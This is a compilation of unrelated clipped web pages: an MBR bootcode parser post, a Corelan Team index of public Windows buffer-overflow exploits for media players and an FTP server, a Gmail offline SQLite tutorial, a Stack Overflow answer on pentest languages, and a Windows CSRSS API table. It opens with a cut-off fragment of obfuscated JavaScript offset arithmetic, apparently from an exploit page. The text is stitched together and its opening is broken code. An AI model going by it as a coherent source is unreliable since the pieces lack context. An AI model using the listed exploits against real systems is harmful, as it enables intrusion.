  924. var15\[1\] = var78 + 0x10028; 
  925. else if \(var77 % 0x10000 == 0x9E69\) 
  926. var78 = var77 - 0x29E69;
  927. var15\[0\] = var78 + 0x29D33; 
  928. var15\[1\] = var78 + 0x10018; 
  929. else if \(var77 % 0x10000 == 0x9EB9\) 
  930. var78 = var77 - 0x29EB9; 
  931. var15\[0\] = var78 + 0x29D83; 
  932. var15\[1\] = var78 + 0xFFC8; 
  933. return -1; 
  934. return var15;
  935. window.addEventListener\("onload", u\(\),true\);
  936. </script>

****

# JL's stuff: MBR Parser

**Created:**| _4/22/2012 1:18:25 PM_  
---|---  
**Updated:**| _4/22/2012 1:18:25 PM_  
**Author:**| __  
**Tags:**| _asm parser mbr_  
  

### MBR Parser

With the increase in MBR infectors, I've decided to release a script I wrote
that parses the MBR as well as hashes and disassembles the bootcode. I've
found that MBR bootcode is pretty stable across systems of the same OS, so
this script should allow you to quickly check for any discrepancies on a
system.

You of course need Python and Distorm to use this script.

A shortened example output can be seen below:

[/code]

[code]

$ python mbr\_parser.py -f mbr.bin Disk signature: 96-80-96-80 Bootcode md5:
4ad444d4e7efce9485a94186c3f4b157 Bootcode Disassembly: 00000000: 33c0 XOR EAX,
EAX 00000002: 8ed0 MOV SS, AX 00000004: bc007cfb50 MOV ESP, 0x50fb7c00
00000009: 07 POP ES 0000000a: 50 PUSH EAX 0000000b: 1f POP DS 0000000c: fc CLD
0000000d: 50 PUSH EAX 0000000e: be007cbf00 MOV ESI, 0xbf7c00 00000013: 06 PUSH
ES 00000014: b90002f3a4 MOV ECX, 0xa4f30200 00000019: bf1e0657cb MOV EDI,
0xcb57061e 0000001e: b441 MOV AH, 0x41 00000020: b280 MOV DL, 0x80 00000022:
bbaa55cd13 MOV EBX, 0x13cd55aa 00000027: 81fb55aa7530 CMP EBX, 0x3075aa55
0000002d: f6c101 TEST CL, 0x1 00000030: 742b JZ 0x5d 00000032: be0008c704 MOV
ESI, 0x4c70800 00000037: 1000 ADC \[EAX\], AL 00000039: c744020600c74404 MOV
DWORD \[EDX+EAX+0x6\], 0x444c700 \[snip\] 000001b2: 0000 ADD \[EAX\], AL
000001b4: 002c44 ADD \[ESP+EAX\*2\], CH 000001b7: 63 DB 0x63 ===== Partition
Table \#1 ===== Boot flag: 0x80 \(Bootable\) Partition type: 0x7 \(NTFS\)
Starting Sector \(LBA\): 0x3f \(63\) Starting CHS: Cylander: 0 Head: 1 Sector:
1 Ending CHS: Cylander: 520 Head: 254 Sector: 63 Size in sectors: 0x7fb68a
\(8369802\) ===== Partition Table \#2 ===== Boot flag: 0x0 Partition type: 0x0
\(Empty\) Starting Sector \(LBA\): 0x0 \(0\) Starting CHS: Cylander: 0 Head: 0
Sector: 0 Ending CHS: Cylander: 0 Head: 0 Sector: 0 Size in sectors: 0x0 \(0\)
===== Partition Table \#3 ===== Boot flag: 0x0 Partition type: 0x0 \(Empty\)
Starting Sector \(LBA\): 0x0 \(0\) Starting CHS: Cylander: 0 Head: 0 Sector: 0
Ending CHS: Cylander: 0 Head: 0 Sector: 0 Size in sectors: 0x0 \(0\) =====
Partition Table \#4 ===== Boot flag: 0x0 Partition type: 0x0 \(Empty\)
Starting Sector \(LBA\): 0x0 \(0\) Starting CHS: Cylander: 0 Head: 0 Sector: 0
Ending CHS: Cylander: 0 Head: 0 Sector: 0 Size in sectors: 0x0 \(0\)

The script can be found here.

# Corelan Team Exploits | Peter Van Eeckhoutte´s Blog
**Created:**| _12/28/2009 10:20:03 PM_  
---|---  
**Updated:**| _12/28/2009 10:20:25 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# Peter Van Eeckhoutte´s Blog

:: \[Knowledge is not an object, it´s a flow\] ::

  * Home
  * Login/Register/Logout
  * Your favorite posts
  * Articles
  * Free Tools
    * AD & CS
      * AD Disable Users
      * Certificate List Utility
      * PVE Find AD User
    * Exchange Transport Agents
      * Attachment filter
      * Attachment rename
    * Networking
      * Cisco switch backup utility
      * Network monitoring with powershell
      * TCP Ping
    * PVE POP3 Collector
    * PVE POP3 Collector on the net
    * All downloads on this blog
    * Public Files
  * Forums
  * Security
    * Corelan Team Exploits
    * Corelan Team Security Advisories
    * Exploit writing – forum
    * Exploit writing tutorials
    * Metasploit
      * Simple FTP Fuzzer – Metasploit Module
    * Nessus/Openvas ike-scan wrapper
    * pvefindaddr.py ImmDbg Plugin
    * Vulnerability Disclosure Policy
  * Terms of use
  * Donate
  * About me
    * About me
    * LinkedIn Resume
    * Visitor Map
    * About you
    * Corelan public keys

Blog > Security > Corelan Team Exploits

## <img src='img/Temp2_1614.png' width='12' height='12' /> Corelan Team
Exploits

This is an overview of some exploits that have been written by corelan
members, and have been released to the public one way or another :

Author : corelanc0d3r

  * **milw0rm**
  * **packetstorm**
  * **securityreason**
  * **Offensive Security  
**

Author : rick

  * **milw0rm**

\(Sorted by date, descending\)

**<img src='img/Temp2_1618.png' />**MJM Quickplayer v1.2 exploit** \(2.8 KiB,
2 downloads\)**  
---  
Author| corelanc0d3r  
Date released| 2009-12-28  
Type of vulnerability| BOF  
Type of exploit| SEH + Unicode  
Works on| Windows OS \(XP SP3\)  
securityreason| 7613  
Offensive Security| 10759  
**<img src='img/Temp2_1618.png' />**Magic Music Player 3.0.0.1 Playlist BOF**
\(4.1 KiB, 12 downloads\)**  
---  
**Download vulnerable version :****<img src='img/Temp2_1616.png' />**Magic
Music Player 3.0.0.1** \(923.1 KiB, 3 downloads\)**  
Author| rick  
Date released| 2009-11-23  
Type of vulnerability| BOF  
Type of exploit| SEH  
Works on| Windows OS \(Tested on XP SP2/SP3\)  
**<img src='img/Temp2_1618.png' />**AIMP2 2.51 \(b330\) pls \(playlist\) BOF**
\(3.6 KiB, 7 downloads\)**  
---  
Author| corelanc0d3r  
Date released| 2009-11-09  
Type of vulnerability| BOF  
Type of exploit| SEH + Unicode  
Works on| Windows OS  
securityreason| 7445  
packetstorm| link  
Offensive Security| 9485  
**<img src='img/Temp2_1618.png' />**Xion Audio Player 1.0 \(.m3u\) exploit XP
SP3** \(3.0 KiB, 4 downloads\)**  
---  
Author| corelanc0d3r  
Date released| 2009-11-03  
Type of vulnerability| BOF  
Type of exploit| SEH + Unicode  
Works on| Windows OS  
**<img src='img/Temp2_1618.png' />**WarFTPd 1.82.00-RC12 DoS** \(4.1 KiB, 7
downloads\)**  
---  
Author| corelanc0d3r  
Date released| 2009-09-10  
Type of vulnerability| DoS  
Works on| Windows OS  
milw0rm| 9622  
packetstormsecurity| link  
securityreason| 7188  
**<img src='img/Temp2_1618.png' />**BlazeDVD 5.1 Professional \(.PLF File\)
Local BOF Exploit \(SEH\) \(xp/vista\)** \(3.8 KiB, 14 downloads\)**  
---  
Author| corelanc0d3r  
Date released| 2009-08-21  
Type of vulnerability| BOF  
Type of exploit| SEH + ASLR bypass, universal  
Works on| Windows XP SP3 En  
Windows Vista  
milw0rm| 9491  
packetstormsecurity| link  
securityreason| 6979  
**<img src='img/Temp2_1618.png' />**Photodex ProShow Gold 4 \(.psh File\)
Universal BOF Exploit XP SP3** \(10.2 KiB, 5 downloads\)**  
---  
Author| corelanc0d3r  
Date released| 2009-08-20  
Type of vulnerability| BOF  
Type of exploit| SEH, universal  
Works on| Windows XP SP3 En  
milw0rm| 9483  
packetstormsecurity| link  
securityreason| 6973  
**<img src='img/Temp2_1618.png' />**jetAudio v 7.1.9.4030 plus vx \(.m3u \)
Local Stack Overflow \(SEH\)** \(3.7 KiB, 3 downloads\)**  
---  
Author| corelanc0d3r  
Date released| 2009-08-05  
Type of vulnerability| BOF  
Type of exploit| SEH, universal  
Works on| Windows XP SP3 En  
milw0rm| 9366  
packetstormsecurity| link  
securityreason|  
**<img src='img/Temp2_1618.png' />**Millenium MP3 Studio 1.0 .mpf File Local
Stack Overflow Exploit** \(3.6 KiB, 4 downloads\)**  
---  
Author| corelanc0d3r  
Date released| 2009-07-30  
Type of vulnerability| BOF  
Type of exploit| SEH, universal  
Works on| Windows XP SP3 En  
milw0rm| 9298  
packetstormsecurity| link  
securityreason|  
**<img src='img/Temp2_1618.png' />**Millenium MP3 Studio 1.0 .m3u File Local
Stack Overflow Exploit \(SEH\)** \(3.8 KiB, 5 downloads\)**  
---  
Author| corelanc0d3r  
Date released| 2009-07-28  
Type of vulnerability| BOF  
Type of exploit| SEH, universal  
Works on| Windows XP SP3 En  
milw0rm| 9286  
packetstormsecurity| link  
securityreason|  
**<img src='img/Temp2_1618.png' />**WINMOD 1.4 \(.lst\) Local Stack Overflow
Exploit XP SP3** \(2.1 KiB, 2 downloads\)**  
---  
Author| corelanc0d3r  
Date released| 2009-07-28  
Type of vulnerability| BOF  
Type of exploit| SEH, universal  
Works on| Windows XP SP3 En  
milw0rm| 9299  
packetstormsecurity| link  
securityreason|  
**<img src='img/Temp2_1618.png' />**Easy RM to MP3 Converter BOF Exploit for
XP SP3 and 2003 Server SP2** \(3.8 KiB, 23 downloads\)**  
---  
Author| corelanc0d3r  
Date released| 2009-07-19  
Type of vulnerability| BOF  
Type of exploit| ret overwrite – multi offset, universal  
Works on| Windows XP SP3 En  
Windows 2003 Server R2 SP2 En  
Actions

  * Site Admin
  * Log out
  * Entries RSS
  * Comments RSS
  * WordPress.org

Stay posted

  * **Subscribe to updates via email**
  * **Follow me on twitter**
  * 

Search this blog

  

**Last 5 search keywords :** | crack wpa with backtrack 4 | backtrack 3 WPA 2 PSK | crack wpa with backtrack 4 | cracking wep backtrack 4 | cracking wep backtrack 4 | 
**Top 10 search keywords :** | crack wpa with backtrack 4 | cracking wep backtrack 4 | backtrack 3 WPA 2 PSK | WPA backtrack 4 | installing backtrack 4 pre final hard drive | how to install password list in bt4 | basic command for juniper firewall | free download backtrack 3 | buffer overflow tutorial | backtrack 4 | 
Categories

Select CategoryActive DirectoryCertificatesCiscoDevelopmentJuniperLinux and
UnixMS ExchangeMy Free ToolsNetworkingOpsMgrOutlookPrivateScripts
PowershellSecurity Exploit Writing Tutorials
ExploitsSharepointStorageVirtualizationWindows Client OSWindows
ServerWordpress

Recent Posts

  * Exchange Server 2010 available worldwide
  * Exploit writing tutorial part 7 : Unicode – from 0×00410041 to calc
  * Str0ke R.I.P. \(or alive & kicking ?\)
  * Exchange 2010 Certificates
  * Backup & Restore Windows Server based Print Servers
  * Metasploit Project acquired by Rapid7

Recent Comments

  * Peter Van Eeckhoutte on Exploit writing tutorial part 7 : Unicode – from 0×00410041 to calc
  * ekse on Exploit writing tutorial part 7 : Unicode – from 0×00410041 to calc
  * Peter Van Eeckhoutte on Exploit writing tutorial part 5 : How debugger modules & plugins can speed up basic exploit development
  * Peter Van Eeckhoutte on Exploit writing tutorial part 7 : Unicode – from 0×00410041 to calc

Ratings \(> 10 votes\)

  * Exploit writing tutorial part 1 : Stack Based Overflows <img src='img/Temp2_1617.png' alt='20 votes, average: 5.00 out of 5' /><img src='img/Temp2_1617.png' alt='20 votes, average: 5.00 out of 5' /><img src='img/Temp2_1617.png' alt='20 votes, average: 5.00 out of 5' /><img src='img/Temp2_1617.png' alt='20 votes, average: 5.00 out of 5' /><img src='img/Temp2_1617.png' alt='20 votes, average: 5.00 out of 5' /> \(5.00 out of 5\)
  * Free tool – Free POP3 Collector <img src='img/Temp2_1617.png' alt='11 votes, average: 4.64 out of 5' /><img src='img/Temp2_1617.png' alt='11 votes, average: 4.64 out of 5' /><img src='img/Temp2_1617.png' alt='11 votes, average: 4.64 out of 5' /><img src='img/Temp2_1617.png' alt='11 votes, average: 4.64 out of 5' /><img src='img/Temp2_1615.png' alt='11 votes, average: 4.64 out of 5' /> \(4.64 out of 5\)

Links

  * All personal links
    * Peter Van Eeckhoutte on linkedin
    * Peter Van Eeckhoutte’s Free Tools
    * Peter Van Eeckhoutte’s Profile on Amazon.com
    * Wordpress Themes
  * Great sites
    * ActiveDir.Org
    * Block a country \(country to IP\)
    * Mail Relay Test with custom port
    * MS System Center Forum
    * Online ipv6 ping
    * Online ipv6 traceroute
    * Pro Exchange
  * Microsoft
    * All Microsoft Team Blogs
    * John Howard on Windows 2008
    * Mark Russinovich
    * Monitoring Forum on Technet
    * MS Essential Support \(Pay Per Year\)
    * MS Exchange Team
    * MS OpsMgr Team
    * MS Professional Support \(Pay Per Incident\)
    * MS Sharepoint Team
    * MS Storage
    * MS Storage Team
    * MS System Center Connect
    * MS Technet for Exchange Development
    * MS Virtualization
    * MS Windows Server Performance Team
    * Report bug for OpsMgr
    * System Center Community Forums
    * The Old New Thing \(Tips / Support\)
  * Other Blogs
    * Juniper Frac Blogspot
  * Security
    * Bluemoon Security
    * CCCure.org
    * Evilfingers
    * Metasploit
    * Metasploit API Reference
    * Metasploit Payloads
    * milw0rm
    * My papers on Shell-Storm
    * NCR's blog
    * Offensive Security Exploit Database
    * Packetstorm
    * Phrack
    * Project Shellcode
    * Recognize-Security
    * Register Nessus Homefeed
    * Remote Exploit Forums
    * Remote Exploit.org
    * Reverse Engineering Blog
    * Room 362
    * Securityreason
    * SecurityWire
    * Shell Storm
    * Uninformed
  * Tools
    * Joeware
    * vmts.net \(VMWare\)

  

  
Terms of Use | Copyright © 2009 Peter Van Eeckhoutte´s Blog. All Rights Reserved.  
Your IP address : 89.238.75.147 | 263 queries. 1.749 seconds | www.corelan.be \- artemis.corelan.be
  *[RSS]: Really Simple Syndication

# Command Line Warriors - Processing your offline gmail in Python

**Created:**| _1/15/2010 9:01:19 AM_  
---|---  
**Updated:**| _1/15/2010 9:01:31 AM_  
**Author:**| __  
**Tags:**| _Google python programming_  
  

# Processing your offline gmail in Python

3 February 2009

In a discussion in my local Linux group, I was encouraged to try out a new
feature of Google's webmail \('Gmail'\) that allows you to read your email
offline.

Inside Gmail, you can click on  _Settings_ then  _Labs_ then  _Enable
Offline_.

This will then prompt you to install a Firefox extension called Google Gears.
The one provided this way is only for 32 bit platforms, for 64 bit Linux, I
found a third-party 64-bit compiled version in the blog of Niels Peen that
works on my 64 Linux laptop.

I had a nosy in my .mozilla directory and found that Google stores your email
in a SQLite database. So I thought I would have a play with it in Python.

To follow along at home, set up the Offline Gmail, then type the following
commands into the Python shell, which you can open with _python_ \(or if you
are lucky\)  _ipython_.

To start with, you need to set the filepath of the database, have a little
_ls_ around and then swap the two instances of  _something_ below with
whatever it is on your system.

[code]

    PATH = ".mozilla/firefox/something.default/Google Gears for Firefox/" + \
                "mail.google.com/http_80/something@gmail.com-GoogleMail#database"
    
    
[/code]

Now we can connect to the database:

[code]

    import sqlite3
    conn = sqlite3.connect(PATH)
    
    
[/code]

Lets start by pulling out all the available tables:

[code]

    tables = conn.execute('SELECT name FROM sqlite_master WHERE type = "table"')
    for table in tables:
        print table
    
    
[/code]

Now lets read the first message in the first thread:

[code]

    messages = conn.execute('SELECT * FROM messagesFT_content')
    mymessage = messages.next()
    for line in mymessage:
        print line
    
    
[/code]

Now lets make a dictionary of all your contacts

[code]

    contacts = {}
    for contact in conn.execute('SELECT * FROM Contacts'):
        contacts[contact[2]] = contact[3]
    
    print contacts
    
    
[/code]

Now lets make a dictionary of your attachments, sorted by filetype:

[code]

    attachments = {}
    for attachment in conn.execute('SELECT * FROM Attachments'):
        if attachments.has_key(attachment[5]):
            attachments[attachment[5]].append(attachment[3])
        else:
            attachments[attachment[5]] = [attachment[3],]
    
    print attachments
    
    
[/code]

There are lots of useful possibilities. Of course there are other easier ways
to access your Gmail in Python, but this approach is useful when you might
need to do something offline, e.g. on a train or plane.

If you come up with any interesting uses or code with this, please do leave a
comment letting everyone know about it.

# Which of these scripting languages is more appropriate for pen-testing? -
Stack Overflow

**Created:**| _5/9/2009 11:16:35 AM_  
---|---  
**Updated:**| _5/9/2009 11:17:00 AM_  
**Author:**| __  
**Tags:**| _ruby python pentest_  
  
12 <img src='img/Temp2_9437.png' width='40' height='25' alt='vote down' />  
<img src='img/Temp2_9438.png' width='30' height='31' alt='check' /> | You probably want Ruby, because it's the native language for Metasploit, which is the de facto standard open source penetration testing framework. Ruby's going to give you: 
  * Metasploit's framework, opcode and shellcode databases 
  * Metasploit's Ruby lorcon bindings for raw 802.11 work 
  * Metasploit's KARMA bindings for 802.11 clientside redirection 
  * Libcurl and net/http for web tool writing 
  * EventMachine for web proxy and fuzzing work \(or RFuzz, which extends the well-known Mongrel webserver\) 
  * Metasm for shellcode generation 
  * Distorm for x86 disassembly 
  * BinData for binary file format fuzzing. 

Second place here goes to Python. There are more pentesting libraries
available in Python than in Ruby \(but not enough to offset Metasploit\).
Commercial tools tend to support Python as well --- if you're an Immunity
CANVAS or CORE Impact customer, you want Python. Python gives you:

  * Twisted for network access 
  * PaiMei for program tracing and programmable debugging 
  * CANVAS and Impact support 
  * Dornseif's firewire libraries for remote debugging 
  * Ready integration with WinDbg for remote Windows kernel debugging \(there's still no good answer in Ruby for kernel debugging, which is why I still occasionally use Python\). 
  * Peach Fuzzer and Sully for fuzzing 
  * SpikeProxy for web penetration testing \(also, OWASP Pantera\). 

Unsurprisingly, a lot of web work uses Java tools. The de facto standard web
pentest tool is Burp Suite, which is a Java swing app. Both Ruby and Python
have Java variants you can use to get access to tools like that. Also, both
Ruby and Python offer:

  * Direct integration with libpcap for raw packet work 
  * OpenSSL bindings for crypto 
  * IDA Pro extensions 
  * Mature \(or at least reasonable\) C foreign function interfaces for API access 
  * WxWindows for UI work, and decent web stacks for web UIs 

You're not going to go wrong with either language, though for mainstream
pentest work, Metasploit probably edges out all the Python benefits, and at
present, for x86 reversing work, Python's superior debugging interfaces edge
out all the Ruby benefits. Also: it's 2008. They're not "scripting languages".
They're programming languages. ;\)  
---|---

# Windows CSRSS API Function Table \(NT/2000/XP/2003/Vista/2008/7\)

**Created:**| _9/10/2010 9:43:45 AM_  
---|---  
**Updated:**| _9/10/2010 9:43:45 AM_  
**Author:**| _wishi_  
**Tags:**| _API hooking windows environment_  
  

# Windows CSRSS API Table \(NT/2000/XP/2003/Vista/2008/7\)

**Author: j00ru \(j00ru.vx tech blog\)**  
**TeamVexillium**

Special thanks to: Woodmann, Deus, Gynvael Coldwind, Alex, Edi Strosar

  
  
Pick up Your system:  
---  
Windows NT4 | Windows 2000  
Windows XP | Windows Server 2003  
Windows Vista | Windows Server 2008  
Windows 7 |    
  
  
  
WINDOWS\_NT4  
---  
| **BaseServerApiDispatchTable \(basesrv.dll\)**  
---  
BaseSrvCreateProcess  
BaseSrvCreateThread  
BaseSrvGetTempFile  
BaseSrvExitProcess  
BaseSrvDebugProcess  
BaseSrvCheckVDM  
BaseSrvUpdateVDMEntry  
BaseSrvGetNextVDMCommand  
BaseSrvExitVDM  
BaseSrvIsFirstVDM  
BaseSrvGetVDMExitCode  
BaseSrvSetReenterCount  
BaseSrvSetProcessShutdownParam  
BaseSrvGetProcessShutdownParam  
BaseSrvNlsSetUserInfo  
BaseSrvNlsSetMultipleUserInfo  
BaseSrvNlsCreateSortSection  
BaseSrvNlsPreserveSection  
BaseSrvSetVDMCurDirs  
BaseSrvGetVDMCurDirs  
BaseSrvBatNotification  
BaseSrvRegisterWowExec  
BaseSrvSoundSentryNotification  
BaseSrvRefreshIniFileMapping  
BaseSrvDefineDosDevice  
| **ConsoleServerDispatchTable \(winsrv.dll\)**  
---  
SrvOpenConsole  
SrvGetConsoleInput  
SrvWriteConsoleInput  
SrvReadConsoleOutput  
SrvWriteConsoleOutput  
SrvReadConsoleOutputString  
SrvWriteConsoleOutputString  
SrvFillConsoleOutput  
SrvGetConsoleMode  
SrvGetConsoleNumberOfFonts  
SrvGetConsoleNumberOfInputEvents  
SrvGetConsoleScreenBufferInfo  
SrvGetConsoleCursorInfo  
SrvGetConsoleMouseInfo  
SrvGetConsoleFontInfo  
SrvGetConsoleFontSize  
SrvGetConsoleCurrentFont  
SrvSetConsoleMode  
SrvSetConsoleActiveScreenBuffer  
SrvFlushConsoleInputBuffer  
SrvGetLargestConsoleWindowSize  
SrvSetConsoleScreenBufferSize  
SrvSetConsoleCursorPosition  
SrvSetConsoleCursorInfo  
SrvSetConsoleWindowInfo  
SrvScrollConsoleScreenBuffer  
SrvSetConsoleTextAttribute  
SrvSetConsoleFont  
SrvSetConsoleIcon  
SrvReadConsole  
SrvWriteConsole  
SrvDuplicateHandle  
SrvCloseHandle  
SrvVerifyConsoleIoHandle  
SrvAllocConsole  
SrvFreeConsole  
SrvGetConsoleTitle  
SrvSetConsoleTitle  
SrvCreateConsoleScreenBuffer  
SrvInvalidateBitMapRect  
SrvVDMConsoleOperation  
SrvSetConsoleCursor  
SrvShowConsoleCursor  
SrvConsoleMenuControl  
SrvSetConsolePalette  
SrvSetConsoleDisplayMode  
SrvRegisterConsoleVDM  
SrvGetConsoleHardwareState  
SrvSetConsoleHardwareState  
SrvGetConsoleDisplayMode  
SrvAddConsoleAlias  
SrvGetConsoleAlias  
SrvGetConsoleAliasesLength  
SrvGetConsoleAliasExesLength  
SrvGetConsoleAliases  
SrvGetConsoleAliasExes  
SrvExpungeConsoleCommandHistory  
SrvSetConsoleNumberOfCommands  
SrvGetConsoleCommandHistoryLength  
SrvGetConsoleCommandHistory  
SrvSetConsoleCommandHistoryMode  
SrvGetConsoleCP  
SrvSetConsoleCP  
SrvSetConsoleKeyShortcuts  
SrvSetConsoleMenuClose  
SrvConsoleNotifyLastClose  
SrvGenerateConsoleCtrlEvent  
SrvGetConsoleKeyboardLayoutName  
| **CsrServerApiDispatchTable \(csrsrv.dll\)**  
---  
CsrSrvNullApiCall  
CsrSrvClientConnect  
CsrSrvProfileControl  
CsrSrvIdentifyAlertableThread  
CsrSrvSetPriorityClass  
| **UserServerApiDispatchTable \(winsrv.dll\)**  
---  
SrvExitWindowsEx  
SrvEndTask  
SrvInitSoundDriver  
SrvPlaySound  
SrvLogon  
SrvServiceMessageBox  
SrvRegisterServicesProcess  
SrvActivateDebugger  
SrvGetThreadConsoleDesktop  
  
  
  
WINDOWS\_2000  
---  
| **BaseServerApiDispatchTable \(basesrv.dll\)**  
---  
BaseSrvCreateProcess  
BaseSrvCreateThread  
BaseSrvGetTempFile  
BaseSrvExitProcess  
BaseSrvDebugProcess  
BaseSrvCheckVDM  
BaseSrvUpdateVDMEntry  
BaseSrvGetNextVDMCommand  
BaseSrvExitVDM  
BaseSrvIsFirstVDM  
BaseSrvGetVDMExitCode  
BaseSrvSetReenterCount  
BaseSrvSetProcessShutdownParam  
BaseSrvGetProcessShutdownParam  
BaseSrvNlsSetUserInfo  
BaseSrvNlsSetMultipleUserInfo  
BaseSrvNlsCreateSection  
BaseSrvSetVDMCurDirs  
BaseSrvGetVDMCurDirs  
BaseSrvBatNotification  
BaseSrvRegisterWowExec  
BaseSrvSoundSentryNotification  
BaseSrvRefreshIniFileMapping  
BaseSrvDefineDosDevice  
BaseSrvSetTermsrvAppInstallMode  
BaseSrvNlsUpdateCacheCount  
BaseSrvNlsGetUserInfo  
BaseSrvNlsGetUserInfo  
| **ConsoleServerDispatchTable \(winsrv.dll\)**  
---  
SrvOpenConsole  
SrvGetConsoleInput  
SrvWriteConsoleInput  
SrvReadConsoleOutput  
SrvWriteConsoleOutput  
SrvReadConsoleOutputString  
SrvWriteConsoleOutputString  
SrvFillConsoleOutput  
SrvGetConsoleMode  
SrvGetConsoleNumberOfFonts  
SrvGetConsoleNumberOfInputEvents  
SrvGetConsoleScreenBufferInfo  
SrvGetConsoleCursorInfo  
SrvGetConsoleMouseInfo  
SrvGetConsoleFontInfo  
SrvGetConsoleFontSize  
SrvGetConsoleCurrentFont  
SrvSetConsoleMode  
SrvSetConsoleActiveScreenBuffer  
SrvFlushConsoleInputBuffer  
SrvGetLargestConsoleWindowSize  
SrvSetConsoleScreenBufferSize  
SrvSetConsoleCursorPosition  
SrvSetConsoleCursorInfo  
SrvSetConsoleWindowInfo  
SrvScrollConsoleScreenBuffer  
SrvSetConsoleTextAttribute  
SrvSetConsoleFont  
SrvSetConsoleIcon  
SrvReadConsole  
SrvWriteConsole  
SrvDuplicateHandle  
SrvGetHandleInformation  
SrvSetHandleInformation  
SrvCloseHandle  
SrvVerifyConsoleIoHandle  
SrvAllocConsole  
SrvFreeConsole  
SrvGetConsoleTitle  
SrvSetConsoleTitle  
SrvCreateConsoleScreenBuffer  
SrvInvalidateBitMapRect  
SrvVDMConsoleOperation  
SrvSetConsoleCursor  
SrvShowConsoleCursor  
SrvConsoleMenuControl  
SrvSetConsolePalette  
SrvSetConsoleDisplayMode  
SrvRegisterConsoleVDM  
SrvGetConsoleHardwareState  
SrvSetConsoleHardwareState  
SrvGetConsoleDisplayMode  
SrvAddConsoleAlias  
SrvGetConsoleAlias  
SrvGetConsoleAliasesLength  
SrvGetConsoleAliasExesLength  
SrvGetConsoleAliases  
SrvGetConsoleAliasExes  
SrvExpungeConsoleCommandHistory  
SrvSetConsoleNumberOfCommands  
SrvGetConsoleCommandHistoryLength  
SrvGetConsoleCommandHistory  
SrvSetConsoleCommandHistoryMode  
SrvGetConsoleCP  
SrvSetConsoleCP  
SrvSetConsoleKeyShortcuts  
SrvSetConsoleMenuClose  
SrvConsoleNotifyLastClose  
SrvGenerateConsoleCtrlEvent  
SrvGetConsoleKeyboardLayoutName  
SrvGetConsoleWindow  
SrvGetConsoleCharType  
SrvSetConsoleLocalEUDC  
SrvSetConsoleCursorMode  
SrvGetConsoleCursorMode  
SrvRegisterConsoleOS2  
SrvSetConsoleOS2OemFormat  
SrvGetConsoleNlsMode  
SrvSetConsoleNlsMode  
SrvRegisterConsoleIME  
SrvUnregisterConsoleIME  
SrvGetConsoleLangId  
SrvGetConsoleLangId  
| **CsrServerApiDispatchTable \(csrsrv.dll\)**  
---  
CsrSrvClientConnect  
CsrSrvUnusedFunction  
CsrSrvUnusedFunction  
CsrSrvIdentifyAlertableThread  
CsrSrvSetPriorityClass  
CsrSrvSetPriorityClass  
| **UserServerApiDispatchTable \(winsrv.dll\)**  
---  
SrvExitWindowsEx  
SrvEndTask  
SrvLogon  
SrvRegisterServicesProcess  
SrvActivateDebugger  
SrvGetThreadConsoleDesktop  
SrvDeviceEvent  
SrvRegisterLogonProcess  
SrvWin32HeapStat  
SrvWin32HeapStat  
SrvWin32HeapStat  
  
  
  
WINDOWS\_XP  
---  
| **BaseServerApiDispatchTable \(basesrv.dll\)**  
---  
BaseSrvCreateProcess  
BaseSrvCreateThread  
BaseSrvGetTempFile  
BaseSrvExitProcess  
BaseSrvDebugProcess  
BaseSrvCheckVDM  
BaseSrvUpdateVDMEntry  
BaseSrvGetNextVDMCommand  
BaseSrvExitVDM  
BaseSrvIsFirstVDM  
BaseSrvGetVDMExitCode  
BaseSrvSetReenterCount  
BaseSrvSetProcessShutdownParam  
BaseSrvGetProcessShutdownParam  
BaseSrvNlsSetUserInfo  
BaseSrvNlsSetMultipleUserInfo  
BaseSrvNlsCreateSection  
BaseSrvSetVDMCurDirs  
BaseSrvGetVDMCurDirs  
BaseSrvBatNotification  
BaseSrvRegisterWowExec  
BaseSrvSoundSentryNotification  
BaseSrvRefreshIniFileMapping  
BaseSrvDefineDosDevice  
BaseSrvSetTermsrvAppInstallMode  
BaseSrvNlsUpdateCacheCount  
BaseSrvSetTermsrvClientTimeZone  
BaseSrvSxsCreateActivationContext  
BaseSrvDebugProcess  
BaseSrvRegisterThread  
BaseSrvNlsGetUserInfo  
BaseSrvAppHelpQueryModuleData  
| **ConsoleServerDispatchTable \(winsrv.dll\)**  
---  
SrvOpenConsole  
SrvGetConsoleInput  
SrvWriteConsoleInput  
SrvReadConsoleOutput  
SrvWriteConsoleOutput  
SrvReadConsoleOutputString  
SrvWriteConsoleOutputString  
SrvFillConsoleOutput  
SrvGetConsoleMode  
SrvGetConsoleNumberOfFonts  
SrvGetConsoleNumberOfInputEvents  
SrvGetConsoleScreenBufferInfo  
SrvGetConsoleCursorInfo  
SrvGetConsoleMouseInfo  
SrvGetConsoleFontInfo  
SrvGetConsoleFontSize  
SrvGetConsoleCurrentFont  
SrvSetConsoleMode  
SrvSetConsoleActiveScreenBuffer  
SrvFlushConsoleInputBuffer  
SrvGetLargestConsoleWindowSize  
SrvSetConsoleScreenBufferSize  
SrvSetConsoleCursorPosition  
SrvSetConsoleCursorInfo  
SrvSetConsoleWindowInfo  
SrvScrollConsoleScreenBuffer  
SrvSetConsoleTextAttribute  
SrvSetConsoleFont  
SrvSetConsoleIcon  
SrvReadConsole  
SrvWriteConsole  
SrvDuplicateHandle  
SrvGetHandleInformation  
SrvSetHandleInformation  
SrvCloseHandle  
SrvVerifyConsoleIoHandle  
SrvAllocConsole  
SrvFreeConsole  
SrvGetConsoleTitle  
SrvSetConsoleTitle  
SrvCreateConsoleScreenBuffer  
SrvInvalidateBitMapRect  
SrvVDMConsoleOperation  
SrvSetConsoleCursor  
SrvShowConsoleCursor  
SrvConsoleMenuControl  
SrvSetConsolePalette  
SrvSetConsoleDisplayMode  
SrvRegisterConsoleVDM  
SrvGetConsoleHardwareState  
SrvSetConsoleHardwareState  
SrvGetConsoleDisplayMode  
SrvAddConsoleAlias  
SrvGetConsoleAlias  
SrvGetConsoleAliasesLength  
SrvGetConsoleAliasExesLength  
SrvGetConsoleAliases  
SrvGetConsoleAliasExes  
SrvExpungeConsoleCommandHistory  
SrvSetConsoleNumberOfCommands  
SrvGetConsoleCommandHistoryLength  
SrvGetConsoleCommandHistory  
SrvSetConsoleCommandHistoryMode  
SrvGetConsoleCP  
SrvSetConsoleCP  
SrvSetConsoleKeyShortcuts  
SrvSetConsoleMenuClose  
SrvConsoleNotifyLastClose  
SrvGenerateConsoleCtrlEvent  
SrvGetConsoleKeyboardLayoutName  
SrvGetConsoleWindow  
SrvGetConsoleCharType  
SrvSetConsoleLocalEUDC  
SrvSetConsoleCursorMode  
SrvGetConsoleCursorMode  
SrvRegisterConsoleOS2  
SrvSetConsoleOS2OemFormat  
